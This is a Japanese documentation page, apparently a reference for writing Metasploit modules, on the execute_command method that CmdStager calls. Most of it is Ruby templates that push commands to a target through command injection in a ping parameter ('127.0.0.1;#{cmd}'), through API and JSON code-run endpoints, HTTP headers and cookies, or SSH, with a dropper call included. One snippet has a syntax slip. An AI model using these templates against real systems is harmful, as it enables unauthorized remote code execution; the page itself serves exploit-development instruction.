コンテンツにスキップ

execute_command(cmd, opts = {}) は、コマンド文字列 1 本を対象の実行経路へ届ける関数です。CmdStager 利用時は必須 override、単発 command injection でも同じ形に揃えると読みやすいです。

def execute_command(cmd, _opts = {})
# cmd を HTTP / SSH / TCP などへ送る
end
  • CmdStager が分割した断片を順に渡してくる。
  • exploit から直接 execute_command(payload.encoded) もできる。
  • escape / encoding はこの中で完結させる。
def execute_command(cmd, _opts = {})
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'ping'),
'vars_get' => { 'ip' => "127.0.0.1;#{cmd}" }
)
end
def execute_command(cmd, _opts = {})
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'api/run'),
'vars_post' => { 'cmd' => cmd }
)
end
def execute_command(cmd, _opts = {})
send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'run_code'),
'ctype' => 'application/json',
'data' => { 'code' => cmd }.to_json
)
end

CmdStager はこの関数を複数回呼びます。登録とログインは別の authenticate で行い、この関数はコマンドの送信だけを担当します。実装例は Exploit の「自己登録 → ログイン → JSON API RCE」、応答の判定方法は 応答とデバッグ を参照してください。

def execute_command(cmd, _opts = {})
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path),
'headers' => { 'X-Cmd' => cmd },
'cookie' => "x=#{Rex::Text.uri_encode(cmd)}"
)
end
def execute_command(cmd, _opts = {})
ssh_socket.exec!(cmd)
end
def execute_command(cmd, _opts = {})
cmd_exec(cmd)
end
def exploit
# 短い cmd payload
execute_command(payload.encoded)
# または dropper
# execute_cmdstager(linemax: 1500)
end

bad character がある場合です。

def filter_bad_chars(cmd)
cmd.gsub(/[;&|]/ '') # 例。対象のフィルタに合わせる
end
def execute_command(cmd, _opts = {})
send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'ping'),
'vars_get' => { 'ip' => "1.1.1.1 && #{filter_bad_chars(cmd)}" }
)
end

関連: CmdStager